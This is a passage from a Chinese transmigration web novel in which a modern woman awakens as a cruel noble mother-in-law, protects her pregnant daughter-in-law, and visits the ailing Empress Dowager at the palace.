《一觉醒来当婆婆了》
1. 第 1 章
阳光从厚厚的帐幔外透进来,刺的人眼睛不舒服,卫姜翻身,把头换了个边,床上很软和,很舒服,可她就是睡不着了。
她已经连着睡了三日,每次醒来看到这个帐子就预示着她没能回去,屋内静悄悄的,就连门外都没什么声响。
快要进入冬日,外面也没有鸟儿鸣叫,这片天地就如死寂一般,院子里的人走路都是掂着脚,生怕吵到屋里的人。
卫姜放弃入睡,接受回不去的事实,她懊恼地捶床。
“夫人?”门外立刻有侍女轻声询问,她们时刻都竖起耳朵听房里的动静。
“别进来。”卫姜声音有气无力。
她话一出口,那些侍女们还真就不敢进来,这多亏原主在家中的‘威望’
卫姜在大床上滚来滚去,肚子咕咕叫了起来,她恍惚想起自己好像好长时间没吃东西了。
她用脚撩开床幔,看向屋外,日头已经老高,是个难得好天。
“几点了?”守在屋外的两个侍女对视了一眼,眼中都有着惶恐,不知道夫人是什么意思,其中一个高个的侍女着颤音开口询问:“夫人,您说什么?”
卫姜用手拍了一下额头,换了个问法:“什么时辰?”
“快午时了,夫人您要不要用膳?”侍女试探问道。
“好吧。”
两侍女松口气,一人转头吩咐小丫头去厨房传膳,一人端起放在耳房的铜盆,推门进去帮夫人梳洗。
高个的侍女绞着丝帕,另外一个就带着小丫头把床幔挽起。
卫姜还是享受不了别人帮她洗脸,自己接过帕子,在脸上抹了几下,颇有些粗暴。
几个侍女低头不敢看,做事更加小心,心里猜测夫人今天心情还是不好。
卫姜感觉浑身无力,骨头里都泛着酸,她知道这是自己睡的太多,这三日来她连必要的吃饭都是在床上解决的,坚决不肯下床一步,就怕错过来回去的时机。
不行,再躺下去她都要废了,别还没找到回去的办法,她先gameover了。
见她要起来,高个子的侍女连忙过来扶她,卫姜看了她一眼,侍女害怕地低下头。
卫姜心里骂娘,原主可真是作孽。
在原书中,不但家里的奴仆惧怕她,就连上京城都没几个人不怕她的,倒不是因为她位高权重,而是她出了名的不讲道理,不着四六。
跟她计较,会先气死自己,就连她娘家人都怕了她,平日里都不往来,总结下来就是搅屎棍万人嫌的存在。
侍女为她换好衣服,卫姜看着铜镜中郁郁的自己,这衣服颜色怎么回事?这么老沉,什么审美,有些嫌弃地撇嘴。
明明才三十出头,因为平日里保养得宜,看起来其实才二十多,却要把自己穿的这么老气横秋,难道当了婆婆就要往老了装扮不成,看着都没精神。
想到这里卫姜又是一叹,她才三十二,在现代她还是个牡丹,相亲场上还是有很大的市场呢,怎么来了这里就当上婆婆来,马上就要升格做祖母,这么一想,也难怪原主穿的这么‘稳重’了。
侍女看她皱眉,梳头的手抖了抖,差点就扯到头发,侍女吓出一身冷汗,害怕地抬头,只见铜镜中的夫人直勾勾盯着她,侍女害怕地扑通一声跪下。
倒是把卫姜吓了一跳,她扶额,也不知道原主脾气到底有多不好,一个眼神都能让她们心惊胆战。
“起来吧,把这头发给我挽上去。”卫姜吩咐让她起身,又挑了挑快要捂住右侧半边脸的头发让她帮忙梳起来。
侍女听着夫人的语气好像并没有生气,怯怯地抬头,见夫人确实没有怪罪,立马爬起来,刚要动手想起什么,小心地觑向卫姜,眼神中有深深的不确定。
这就要说说原主的体态了,如今上京城讲究个轻盈妙姿,女子以清瘦多姿为美,但卫姜是个富贵美人,脸如满月,体态丰盈。
身材有些丰满地过分,日常她都是穿那些深色的衣服来压,把衣裳做的格外宽大,就连梳个头发,都是要求侍女把她脸变小些。
看起来有些不伦不类,老气衣服加上那么的发髻,真是颓丧到家了,一点精神都没有,整个人看着就阴郁。
也难怪她暗地里已经成了上京城的笑话,顾忌她的身份,倒是没人敢明面上笑她。
但卫姜忍不了,她可不想顶着这个样子,真是看一下都伤眼。。
最后在卫姜的指挥下,侍女放开手给梳了个高髻,真个脸盘都露了出来,人精神多了,卫姜抬了抬下巴左右看了下,长得还是不错的,有几分明艳姿色。
不过这身衣服,卫姜看向一旁忙碌的侍女,却不知道她叫什么名字:“你……”
高个侍女一看立马回道:“夫人,奴婢蓝心。”
卫姜抬头看向另一个,梳头侍女立马回道:“奴婢田彩。”
两人都是最近才到卫姜身边伺候的,倒也没有人怀疑为什么她不记得侍女名字。
卫姜对蓝心道:“给我换一件衣衫吧,这穿的跟个老太太似的。”
蓝心有些讶异抬头,但很快就进内室重新拿了一件青绿色,嗯,还是那么深,不过比身上这件还是好些。
不过卫姜肤色比一般人都白皙,穿这个倒是不难看,添了一份贵气雍容。
她心里也知道这怕是原主衣柜里最年轻的颜色了。
原主今年三十二岁,儿子娶了媳妇,她也把自己打扮的像个老封君,什么颜色稳重老气,她就穿什么。
卫姜摇头,还不趁着年轻穿几件鲜艳的,还怕以后没老气的衣服穿,自己是有多想不开。
她被人扶着去用膳,太久没吃东西了,她都饿的有些发抖,应该低血糖了。
“夫人,你身子还虚,多用点软烂的羹汤。”见她老是吃那重口的菜,一位年纪看着不小的侍女上前给她添了一碗羹。
卫姜扫了一眼那碗羹汤,又打量一眼那人。
这人是卫姜的贴身侍女,叫佩儿,立志不嫁人。要说这院里还有谁有胆子敢劝原主几句,也只有她了。
佩儿心中也有些打鼓,但夫人才遭了罪,脾胃还虚着,实在不能多吃那重口的,她也就顾不上被责骂了。
还好夫人什么都没说,接过那碗羹汤喝了起来。
佩儿心里稍安,用过午膳后,她觑了空子,请示了一件事情。
“夫人,赖妈妈她们怎么处置?”已经在柴房里关了好几天了
卫姜叹气,这事她听着都有些无语,她为什么会穿来,这两人居功至伟,不过功劳最大的还是原身。
她深刻演绎了一句话,不作就不会死。
因为和娘家斗气,回来就寻死觅活,这事她以前经常做,就是吓唬关心她的家人,次数多了,谁都知道她是做做样子,也没人真放在心上。
没想到这次演砸了,真一命呜呼了。
然后她来了,卫姜还是叹气,原主是个蠢货,她那两个心腹也不聪明,原主唱戏这么多年,照说应该业务熟练,可耐不住她这两个心腹是真卧龙凤雏。
一份微量的毒药,两个人同时下,这效果就上来了,原主当场送了命,两人被人拿下如今关在柴房等着她处置。
两心腹天天喊冤枉,说是按照夫人的吩咐,这话其实也没错!可毕竟让主子遭罪了,谁也不敢放她们出来,这事只有主子能做主。
可如今的窦家,排除了西苑的少夫人,也只有夫人能处置了。
卫姜也不知道要怎么处置,因为这两人,原身都死了,还把自己搞过来。
可她心里也清楚,她们做这些事还真是原主吩咐的。
“继续关着吧。”
佩儿见她一脸愁容,轻轻替她按着肩,关心询问她是不是有什么烦心事。
卫姜又是长叹一下,烦心事是有,可是没人能帮她,她看着长佩有苦难言阿,就这短短几日,她叹气的频率是越来越高了。
三天了,她都没有回到自己的世界,也许她要等剧情走到大结局,说不定才能回去。
可真要走剧情等到书中大结局时,原身这个反派死的惨惨,她还有命回
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吗?
也不知道剧情走到哪里了?她开始作死没有,卫姜又想叹气了。
“夫人,你看少奶奶都跪了三日了,是不是……”
卫姜猛地转过头,佩儿被她看的头皮发麻。
她硬着头皮解释:“少奶奶毕竟怀着身孕,万一伤了小公子……”
卫姜麻了,还真开始作了,她记得原身一直不喜欢这个儿媳妇,这是丈夫没和她商量就定下的婚事,她心里一直有疙瘩,总觉得丈夫对这个儿媳陶氏是不是有别的情愫。
所以自陶氏进门后,她是处处为难,就连怀了身孕她都没停手,最后被她折磨的早产了,孩子生出来也体弱多病,陶氏身子垮了,还要日复一日地受着搓磨,最后实在受不住自杀了。
不会就是这么跪早产的吧!
卫姜唰地站起身,吓的佩儿一个哆嗦。
“人呢?”
“在……在廊下跪着。”
这也是少奶奶倒霉,那日刚好就碰上夫人在娘家受了委屈,夫人说少夫人冲撞了她,要她日日在廊下跪一个时辰。
“过去看看。”
卫姜带着人出了房门,刚出正院就看到陶氏挺着个大肚子,脸色白白地跪在那。
她旁边站了一溜人,但谁都不敢上前扶她,只一脸心疼地看着,陶氏把手撑在腰后,看得出来她很不舒服,见卫姜过来了,她如同见鬼一般,顿时吓的花容失色,整个人都抖起来了。
手也不敢撑了,跪的笔直,那肚子愈发显眼,看的卫姜心惊肉跳的。
卫姜伸出手想要把她拖起来,陶氏却吓得连忙后躲。
“死人啊,还不快扶起来。”卫姜厉声呵斥旁边的人。
都是些什么人,就这么看着孕妇跪着。
佩儿最先反应过来,一把托起了陶氏,陶氏身边的侍女们也回过神,前来扶住。
卫姜看到陶氏的腿一直在抖,面上也有痛苦之色,忙吩咐人去请大夫。
不会就是今天早产了吧,卫姜脸色有些难看。
陶氏看到婆母眼光看向她的肚子,害怕地用双手捂住了,眼泪汪汪地恳求卫姜:“娘,我听话……”
看她这瑟缩害怕的样子,好像自己要剖开她肚子一样,卫姜被梗住了
“听话就去躺着,等大夫来看看。”她的语气有些生硬
陶氏诺诺不敢多话了,她的奶娘和侍女们眼疾手快地把她架回了西苑。
很快,去请大夫的人回来了,却不见大夫跟着。
“大夫呢?”卫姜问。
田彩回道:“信王出事了,宫里太后知道消息晕倒了,太医院的太医都进宫去了。”
卫姜不可思议,“整个城里就没有别的大夫了?”
众人愣住了,主要是夫人平日里是看不上别的大夫,都是找太医来府里看病,他们也就没敢去请其他人。
田彩很快道,“奴婢这就让人去请最好的大夫。”
很快大夫就抹着汗来了,还好诊脉的结果是陶氏没事,只是不能再这么累着,知道孕妇是被罚跪,那大夫的小眼神不停打量卫姜。
好像是说,传言果然不假一样,在家刻薄怀孕的儿媳。
卫姜都被看的不自在了,板着脸进了内室。
大夫留下安胎药就走了,因为她在,陶氏躺的都不自在,卫姜看她都好,确定不会早产后也离开了。
回去的路上,佩儿小声建议道:“宫里出了大事,夫人您是不是该进宫一趟?”
卫姜停下脚步,拧着眉看她
佩儿心肝都颤了,就怕她当场发火,有一个不靠谱的主子,做下人的就是格外的难,她硬着头皮道:“太后娘娘都病倒了,你不进宫怕是…不好吧。”
佩儿倒是没猜错,卫姜还真是不想进宫,不过人家说的有道理,这个世界得罪谁都不能得罪皇家。
再说了,她做人做成这样还没被打死,不就是因为宫里有人吗?
她有些忧愁的抬头,信王出事,不就是这书的开篇吗,看来她赶上了好戏开场。
2. 第 2 章
卫姜找来个本子,努力回忆书中有没有进宫这剧情,想了半天也没有想到,她只能把宫里主要角色都列了出来。
她没有原主记忆,这些人就都是陌生人,万一被看出破绽,可能会被当成妖孽烧了,这就是为什么卫姜排斥进宫的原因。
在家里她是绝对的权威,就算有什么不妥别人也不敢质疑,可进宫,这里面随便一个人都能捏死她。
而且她记得书中有提过她进宫是惹了祸的,所以后期才会被女主压着打,谁都知道宫里的人对她失望了,不会再给她撑腰。
卫姜咬住笔头,皱起眉头,虽然她已经决定不和女主为敌,就这么苟到大结局,可万一……
她摇了摇头,心里觉得要留个后手,至少这次不能和太后的死扯上关系,最好能和宫里保持住关系,若是以后还是避免不了和女主对上,她也能有个依仗,不至于一家子死的像原著那样惨。
她自己就无所谓了,走剧情自作自受,可连累别人就不太好,比如她那便宜儿子便宜儿媳,总不能再让他们一家三口依旧凄惨吧,最好不得罪女主又能够保住他们。
也许看书的时候,至多对他们的境遇只是惋惜,可如今见了活生生的人,有血有肉,有自己情绪,而且陶氏还那么年轻
想到陶氏,她又想到她那肚子,卫姜头都疼了,她!三十二岁,当奶奶了!她还没嫁人呢。
卫姜心里在流泪!人家都说多年媳妇熬成婆,她倒好,直接当婆婆了!
卫姜叫来蓝心,“你去少奶奶那边看看她身子如何?有没有不舒服的。”
这个时辰?蓝心看了一眼屋里的滴漏,快要二更了。
但夫人的话谁敢质疑,她应了正要去,又被卫姜叫住。
卫姜是想起陶氏的性情,那怯生生害怕的样子,恐怕这个时候叫人去看她,她还以为自己找茬,就是有不舒服也不敢出声吧
“你跟少奶奶说,有什么不舒服要说,要是她不说让我孙儿有事,我饶不了她。”卫姜摆出恶狠狠的表情,维持着自己恶婆婆的人设。
蓝心心中一颤,但觉得对味了,夫人回来了。
果然陶氏听到卫姜的话很害怕,她缩在被子里,双手紧紧捏住被角,她确实没什么不舒服,她又害怕万一孩子真的有事,婆婆不会放过她,这么一紧张,肚子竟然有些隐隐不舒服了。
她的乳娘吴氏见了,立马把蓝心请了出去,又让人把安胎药煎上端来,面上不忿心底咒骂着卫姜。
就没见过这么刻薄的婆婆,儿媳妇大着肚子都能狠的下手搓磨。
“来,喝点药,少奶奶也别怕,过两日少爷就该回来了。”乳娘扶起陶氏,小心伺候她喝药。
陶氏捏着鼻子喝下苦药,眼泪吧哒吧哒地往下掉,也不知道是药苦还是心里苦。
她乳娘看的一阵心疼,怜惜地摸了摸陶氏的额头,昧着良心劝她:“熬一熬,等孩子生下就好了,做儿媳的都是这么过来的。”
陶氏不敢哭出声,怕被人传到正院又惹来责骂,只能小声抽泣。
“婆婆为什么这么不喜欢我。”她不懂
陶氏在娘家也是家里的掌珠,最能讨长辈的喜欢,成婚前她满怀信心,谁知嫁过来就不受婆婆待见,她已经十二万分地去讨好了,但婆婆却愈发地厌恶她,陶氏不知道自己到底哪里不好。
乳娘叹气,当初家里夫人就反对这门婚事,觉得不妥,奈何陶老爷却一意要定下,他看重的是窦家的门庭,窦大人的才干,以及少爷的才情。
可他们却忘了,小姐是要在后宅讨生活的,男人们再好,婆婆不好有什么用,这才多久,小姐就被搓磨成这个样子。
人家都说寡居的婆婆难伺候,因为她把儿子当成命根子,可这窦夫人比寡居的婆婆更难缠,她有丈夫却夫妻疏离,所以最是看不得少爷和小姐夫妻恩爱,觉得小姐把她唯一的儿子抢走了。
可这些话吴氏不能说,不然只怕小姐会更熬不住。
她怜爱地看着陶氏的脸,宽慰道:“你就看在少爷的面上忍一忍,少爷可是难得好夫君。”
想到丈夫,陶氏心里甜腻腻的,她也有了笑意,点头。
“相公说他这几日就要回来了。”她摸着自己的肚子,相公答应不会再离开了,他会一起等着孩子降临。
婆婆虽然难缠,可丈夫是一等一的体贴丈夫,大不了她以后躲着婆婆一些好了。
“你这么想才好。”
只盼着能有其他事情缠住正院那位,想不起找西苑的麻烦就好。
卫姜得知陶氏没什么事也放下心,剧情里具体什么时候早产她记不起,但最好还是避免让她早产,这样陶氏的身子也不会坏,还会生个健康的儿子,反正以后自己也不会去怎么她,那陶氏应该不会再寻短见了吧。
正是如花似玉的年纪,还是活着好。
卫姜索性趁着记忆清晰,先把书中一些重要的事情和人物都记在本子上,三更过后她才去睡,也不知道是不是想原主想多了,她竟然在梦中见到了她,她冷冷打量着卫姜,忽然嗤笑一声。
原‘卫姜’狠狠抓住她的手,飞快地往前跑,她感受到了悲伤,愤怒以及怨恨,她知道这应该都是原主的情绪。
“我不信,我们换一换,你也一定会跟我一样的。”原‘卫姜’说的话带着恶狠狠的诅咒。
卫姜摇头,努力不被她的情绪感染,“我不是你,我们不一样。”
原‘卫姜’看向她,眼神很疯狂,突然不怀好意地笑了一下,贴近她耳边轻声说道:“我就是你,你就是我啊!。”那笑容带着深深的恶意,想要拉她沉沦的疯狂。
不是!
卫姜被吓得从梦中惊醒,她抱着被子喘着粗气,门外值夜的田彩起身想要进来,被她打发了。
她抚着胸口,摇了摇脑袋想要让自己平静下来,也许是受到梦的影响,她现在的情绪有些歇斯底里,心底暴躁压都压不住。
还好是个梦,是哥噩梦!
卫姜往后倒下,心一跳一跳的,非常快。
就快天亮了,她还要进宫,那是场硬仗,她闭上眼睛想要逼自己再次入睡,可思绪难免被带去琢磨宫里那些人。
突然,她睁开眼一动不动,眼神中满是惊慌和害怕,她伸手把被子慢慢拉过头顶,整个人缩成一团,牙齿打着颤,她把手指伸进嘴里紧紧咬住,可全身依旧控制不住地发抖。
她竟然记起一部分来了!不,确切说是有了原主的一些记忆。
卫姜整个人吓到,她穿到这里本就够玄幻的了,如今这记忆还带传承的,要不是捂住了自己的嘴,她怕是忍不住大叫有鬼啊!
她的牙关哒哒哒地响。
难道……不!不是,她们不是一个人!,卫姜用力地摇头,这是一本书,对,她是穿书了!
屋里的动静还是惊动了外屋的人,田彩轻声问道:“夫人,您是醒了吗?要不要喝点水。”
卫姜喉咙干的泛疼,她嘶哑着声音应了。
喝了一口热水,身上暖和一些,她就这么抱着不放,她抬头看了一眼田彩。
田彩被打量的不知所措,低头看着自己的脚尖,不敢出声。
“你下去吧,这里不用服侍了。”卫姜声音还是有些干。
田彩看了一眼被夫人紧紧握住的杯子,犹疑片刻还是听话地出去了。
卫姜就这么呆坐到天光大亮,也许是那梦让她受到了影响,所以才会唤起一些记忆残片。
金乌升起时,卫姜整理好心情叫了人,听到屋里有动静,侍女们都齐齐松了口气。
她们生怕夫人犯病,佩儿看着她的神色小心翼翼询问是否还进宫。
“当然。”卫姜转过头回她。
这也是一桩好处了,有了那些记忆,进宫倒是不那么可怕了。
“少奶奶来了。”
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话音刚落,陶氏已经小心翼翼地走了进来,见蓝心正在帮卫姜梳头,她踌躇片刻,准备硬着头皮上前侍候。
大家最怕的就是帮她梳头了,以往陶氏因为这个挨过不少打。
蓝心犹豫了片刻,还是把梳子和位置让给了陶氏,卫姜刚好抬头发现了。
“儿……儿媳侍候娘。”
见她一副要哭的表情,卫姜在心里唾骂着原主,到底是怎么折磨了人家,才让别人一见她就吓哭。
“不用了,让蓝心来吧。”
陶氏对上卫姜打量的眼神,脸色一下子白了,后退两步就挺着肚子跪了下去。
“儿媳错了,是儿媳做的不好。”
我去,卫姜跳了起来,一下子把她拽了起来,众人反应都没有她快。
陶氏是真的害怕,整个人都在轻微发抖,特别是被卫姜拽住的胳膊,僵硬着不敢动,她整个人往后缩,是想要保护肚子的姿态。
卫姜真的是要骂娘了,她使眼色让陶氏乳娘还有蓝心来扶住她。
“你肚子这么大了怎么能做这种危险的事情。”
她朋友肚子像陶氏这么大的时候,弯腰都不敢,这陶氏你说身体不好吧,她还敢下跪,不过也可能是太害怕了,顾不上。
想到这里,卫姜想给自己两巴掌,当然是打原主,是个人吗?
“扶少奶奶坐下。”卫姜让人给她搬来座椅。
陶氏不敢坐,“我还要侍候娘梳洗。”
“这么多人呢,不用你来。”见陶氏要哭,卫姜赶紧找理由,“蓝心知道我要梳什么样的,你不会。”
陶氏这才安下心来,整个人都悬在椅子上,不敢坐实,只堪堪挨了点边。
她害怕卫姜,有戒备心也正常。
卫姜看了眼天色,问她:“你吃东西了吗?”
陶氏一下子怔住了,心虚地咬嘴唇,迎着卫姜目光,她大着胆子摇头。
每次婆婆这里都要侍候大半日,她如今身子重熬不住,乳娘便让她提前用了几块点心压压肚子,难道是被婆婆发现了,准备用这个事整治自己吗?
就说婆婆今日怎么忽然性子变了,原来在这里等着她,陶氏眼泪大把大把地流,可如今她都快生了,她就是受得起婆婆的打骂,孩子也受不住,她只能大着胆子不承认,已经吃下肚子了,婆母总不能剖开她肚子看吧。
卫姜从铜镜中把她的神色看的一清二楚,陶氏的乳娘也是一脸焦急的神色,还有什么不懂的。
“给少奶奶端碗粥来,我这里还要一会儿,别饿着我孙子。”
卫姜故意看了看她的肚子,好像在说今日的反常都是因为陶氏肚子里的孩子。
这话也让陶氏放松了下来。
“你以后也不用来这里侍候,生完孩子再说吧。”
陶氏一脸不敢置信的惊喜表情,她首先是回头去看乳娘,见乳娘给她疯狂使眼色,陶氏反应过来。
对着卫姜行了个礼,“多谢娘体恤,我不累的,侍候娘也是应该的。”
为了不让人怀疑,卫姜冷着个脸,故作凶狠道:“你累不累有什么打紧,别连累我大孙子。”
三十二岁,未婚大姑娘,一口一个大孙子,卫姜都觉得自己有点疯狂了。
见到婆母发怒,陶氏果然不敢多言。
用过早膳后,陶氏送卫姜出了门,马车朝宫门驶去,直到看不见身影,她的乳娘才小心翼翼托住她的手臂。
“这是好事,少奶奶不必愁苦,您以后就安心在院子里养胎。”
她倒是想,可婆婆是进宫去的,每回她从宫里出来都会心情不好,这次难保不是一样,就怕带着气回来,又要找自己麻烦。
她握紧了乳娘的手,心里担忧不已
“那您今日不出院子了。”
缩在自己院子里,夫人总不会来儿媳院子里撒气吧。
陶氏咬唇,决定按乳娘说的做。
3. 第 3 章
卫姜进宫身边只带了佩儿,以前佩儿跟着她进过好几次,流程都是熟悉的。
下了马车,她们一路步行进了内宫,卫姜如今没有了封号,自然也就没有了步辇的待遇。
两个小太监低着头在前方领路,卫姜还有空闲能打量四周环境,不愧是皇宫,和现世的故宫比起来还要更大,更奢华。
“夫人,仁寿宫到了。”
仁寿宫是太后的住所,她今天主要就是来探望太后的。
佩儿熟练地递了两个荷包过去,小太监们飞快收起来,但也不敢在卫姜面前多话。
是的,他们怕卫姜,哪怕卫姜出手大方,可她发起脾气来也是要人命的,宫里贵人也不会为了这些宫女太监去为难她这个窦家夫人。
所以这些太监宫女,见了卫姜是能躲就躲,躲不过也不多话,只求别惹到她。
仁寿宫的宫女已经迎了出来,同样低头不语,静静带路。
卫姜这是初次来,也不敢多话,一行人就这么静静的进了内殿。
还没靠近,就听到里面有哭声传出,卫姜咯噔了一下,偏头看向带路的宫女。
那宫女都要哭了,怎么就刚好撞上了卫夫人的眼神,她觉得自己倒霉。
“皇后娘娘带着贵妃、贤妃在里面侍疾。”
信王出事了,贤妃是他娘,难怪里面哭成一团了。
那宫女见卫姜只是点头,没有再发作,心里松了口气,脚步又快了几分。
等通报卫夫人来了,内殿的哭声停了一会,卫姜调整了下表情,慢慢吐出一口气,抬脚迈了进去。
佩儿是进不去的,她要跟着那个宫女去其他地方等待,鉴于刚刚她帮夫人解惑,佩儿挑了个大荷包递了过去。
那宫女好一会儿才接过,佩儿见她发愣,有些奇怪。
“那是卫夫人?”那宫女张大嘴巴,有些不敢相信。
她一直低着头,刚才抬头打量一下,怎么感觉变了个样似的。
佩儿点头,夫人今日装扮确实和平日里不一样,她私心觉得更好看,也更高贵了。
内殿的人同样一眼不敢置信地看着来人,就连贤妃都忘了哭哭啼啼了。
“阿姜?”一位身着明黄色服饰的端庄妇人有些不确定叫了一声。
这应该就是皇后了,旁边还有一位柔弱拿帕子擦眼泪的美妇,应该是贤妃了,那另外一位端肃着脸的就不用猜了,定是贵妃了。
卫姜有些生疏地给她们行礼,可能因为以前的卫姜的品行,她们都没有瞧出不妥了,习惯了她的轻慢动作。
“让阿姜过来。”
太后半躺在床上,招手让卫姜过去,卫姜刚靠近,太后就抓住了她的手问道:“窦绍可有写信回来?“
窦绍就是卫姜那还没见过面的丈夫,太后这么问是因为信王出事的地方相隔窦绍的辖地不远。
屋里人都有些紧张地看着卫姜,但她们紧张的点不一样,皇后和贵妃是担心卫姜说话不好听,说出不妥的话让太后病情加重。
贤妃是因为紧张儿子的生死。
太后刚过了七十二岁的寿诞,之前身子一直很硬朗,保养的很好,可信王出事后,她一下子就苍老了,头发都全白了。
贤妃是她娘家侄女,皇子们同样都是她的孙子可信王和她血脉最近,她平日也是最疼信王。
信王出事消息一传来,太后就受不住了。
卫姜握住太后的手,安慰着这个老人家:“你老人家放心,信王没事的,他马上就要回京了,您可要好好养身子,不然他回来会伤心的。”
太后眼里放光,头微微抬起:“真的?信王真没事。”
“真没事,过不了多久就回来了。”卫姜那轻松的口气,差点就让皇后觉得是真的了。
她松了一口下一刻又提起了心,卫姜没有说什么不妥的话是让人意外,不过她这么谎话张口就来,等以后太后知道了,一样要遭。
不过她也管不了这么多,还是太后的身子要紧,等以后事情败露,太后要追究也是追究卫姜的欺瞒。
贵妃也打量着卫姜,这人不但装扮变了,性子好像也变了,竟然能看懂眼色说宽慰的话了。
太后是知道卫姜的性子,所以才格外信她的话,觉得定然是窦绍来信说了什么,卫姜才敢说这种话,她心口的大石好像被搬走了,一时有了胃口。
皇后高兴地让膳房传膳,又让人去熬了药,之前太后连药都喝不下了,更别说吃东西了。
皇上听说太后进了膳也立马放下手中的政事赶了过来,路上已经有人把事情过程都告诉了他,所以他一进来先是关心了太后一番,然后才把眼神放在卫姜身上。
他心里点头,这才像是皇家风范,对卫姜今日打扮很是满意,不像以前阴郁小家子气。
“见过陛下。”卫姜还是有些紧张的,毕竟她见到了真皇帝。
皇帝欣慰点头,卫姜眼底澄明清澈,不像以前满是戾气与偏执,到底是要当祖母的人了,长大了。
“都是自家人,还是叫舅舅吧。”皇帝摸着胡子,指了指一旁的椅子让她坐下。
竟然是他的左手边,贵妃很懂事地往后挪,给她腾位置。
太后笑眯眯点头,看向皇帝又看向卫姜,“阿姜今日打扮的好,精神,这眼睛看着和皇帝倒是更像了。”
卫姜抬头看了一眼皇帝,发现两人竟然都有一双凤眼。
“整个皇家也就阿姜的眼睛跟朕一样,也不知道下一辈的孩子会不会有。”
皇后等人看了过来,卫姜袖子里的手都蜷缩着,脸上依旧笑着。
别说,还真是很像,以前卫姜用头发遮当了,加上她表情阴郁,还看不太出来,如今她梳着高髻,眉目都露了出来,别说,她看过来时,还真跟皇帝的眼神很像。
百年前李朝的开国之君就是长着这么一双凤眼,连着继位的几位有为之君也都有这么一双眼,只是后面皇室人数越来越多,有这凤眼的人却越来越少,皇室已经接连好几代都没有带凤眼的孩子出生。
直到几十年前皇帝出生,先皇大喜,皇帝后来被立为太子,跟他有一双凤眼也是有关系的。
可皇帝的孩子们却没有遗传他的凤眼,倒是大长公主一脉有个女孩子长了一双凤眼,这个女孩就是卫姜。
卫姜出生备受宠爱,那时候大长公主还在,还为她请封,皇上也破例给了她一个县主的封号。
但卫姜后来作妖太多,这封号也被皇帝褫夺了。
太后乐呵呵道:“等信王平安回来,皇上也该给皇子们说门婚事了,说不定就给你生个有凤眼的孙儿。”
皇帝觉得自己是天命所归,太后是他的母亲,又怎么会不知道。
要不是皇帝格外看重这凤眼,就卫姜那性子,那行事做派,皇帝早就不让她进宫了。
皇上听到太后说信王,脸上有些顿住,他瞟了一眼端坐着卫姜,心里叹了口气,也只能配合着把谎话说下去。
“等信王回来还要母后替他操心呢。”只盼着他的儿子够福大命大,能真的平安归来。
太后笑容更深了,看来卫姜的话是真的,皇帝都没有反驳,她嗔怪道:“还是阿姜性子好,有话藏不了,直说出来,你们有什么话都喜欢藏着瞒着。”
众人讪讪,又不敢反驳,卫姜那是性子好吗?您以前可不是这么说的,她是藏不了话,可也说不出什么中听的话,您以前不是常说她是个乌鸦嘴吗?恨不能缝起来。
如今又变成好性子了。<
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卫姜也被夸的有些不好意思,尴尬地笑。
“你要是早点懂事,你舅舅早就把封号还你了。”
太后话音刚落,其他人都看向皇帝,皇帝摸着胡子笑,并没有反驳,众人心情有些微妙。
皇上也太宠着这个卫姜了,不过是稍微懂事一些,就立马能要回封号了,她都要当祖母的人,如今对她的要求还是懂事。
当初皇帝把她的封号褫夺了,可太后不是紧跟着就赔了一个县主给她妹妹吗?
要是把卫姜的封号又恢复,那卫家岂不是有两个县主,这也恩宠太过了,大长公主都已经去世好多年了,卫家又不算是什么正紧的外戚,这让皇后心口有些闷。
贤妃撇嘴,贵妃低头不知道在想什么。
卫姜也有些激动,眼睛骨碌碌转了起来,这书里可没提过,原主直到死都没有再获封过,要是真能把县主爵位拿到手,那女主要搞死自己就没那么容易了。
卫姜期望地看向皇帝,相似的眼睛就这么巴巴看向他,皇帝轻咳一下,移开了目光。
如今就算是要把爵位还给她,也得有个由头,总不能就因为她谎话说的好吧。
但皇帝还是没亏待了卫姜,县主头衔没弄到手,赏赐还是有一大堆,又知道她家里的儿媳妇要生产了,皇帝和太后赏赐了很多贵重药材,皇后和贵妃见了,也赏赐一些东西。
卫姜算是满载而归,不过她这次也算是刷了经验,有了目标,以后进宫也算是有奔头了。
以后得把太后和皇帝的好感刷起来,怎么都得把县主的头衔弄到,太后那里好搞,等过不久信王回来,太后怎么都得表示表示吧。
她今日可没有说谎话安慰人,信王是真的没事,他可是这本书的原男主,以后要当皇帝的人,怎么会轻易死呢,这次他会遇到女主,被女主所救,从此一眼万年,然后甘作大女主背后的舔狗皇帝。
说回眼前,卫姜在回家的路上已经想的很透彻了,以后的目标就是把皇帝的大腿抱起来!
回到窦府,她连口水都还没来得及喝,门外就起了一阵喧哗,卫姜觉得奇怪,竟然有人敢在她的屋外吵闹。
“娘,阿陶到底哪里做的不好,你为什么要欺负她。”
嘭的一声,大门被人从外面踹坏了,门后一位年轻男子放下抬高的脚,满脸愤怒地看着她。
卫姜咽了咽口水,伸手拿起茶杯喝了一口,眼神又偷偷打量了一下年轻男人。
不,还是个少年,天啊,卫姜心跳的有些快,咽里下口水,竟然是个小帅哥,天啊,这么帅的男人是她的儿子。
卫姜控制不住地咧开嘴,脸好像有些烧的慌,她伸手捂住,想偷笑。
太帅了吧!连生气都好看!
陶氏看着婆母已经发笑了,害怕地抱住丈夫的胳膊,怕他会惹怒婆婆。
都是她不好,丈夫刚回来,她太高兴就没防备住,没想到被丈夫套了话,如今丈夫来指责婆婆,还踹了门。
她怕婆婆会告他们一个忤逆不孝,那丈夫的前程就完了。
想到这,她腿一软,就要跪下,被窦景一把抱住了,看她脸色发白,窦景慌了,“阿陶,你怎么了?”
卫姜也被吓到了,立马走了过来,陶氏都抖起来了,窦景马上就明白了,挡住了陶氏的视线,转过头气呼呼道:“我等下再来找您。”
卫姜伸手,就眼睁睁看着小帅哥抱着小美女一股风地走了。
不是!小帅哥那是发怒吧,不对啊,原著不是说他是个愚孝的妈宝男吗?
刚刚他……卫姜转头看向那被踹的摇摇欲坠的门。
他刚那兴师问罪,一副为老婆撑腰的样子,哪里是妈宝男了。
卫姜双手插腰,彻底懵了。
4. 第 4 章
卫姜到西苑的时候,大夫已经在开药方了,窦景一脸焦急地等在旁边,见她来,一脸防备。
那大夫小眼神不停地打量着他们母子,离开前还有些一步三回头,卫姜看来有些好笑。
不知道这大夫又在脑补什么,都怪原主名声在外。
“大夫要不要留下用晚饭?”
这才午后,距离晚膳还有几个时辰呢,加上她一脸不善,那大夫还有什么不明白的,自己想看好戏的眼神出卖来自己,他加快脚步,连连推辞,忙不迭地跑了。
离开窦家,那大夫抹了抹额头的汗,难怪其他人都不愿意来,这窦家出手大方,可人确实不好惹。
要不是自家要娶儿媳,家里钱财不凑手,他也是不愿意来的,大夫掂了掂手里的荷包,也没白来。
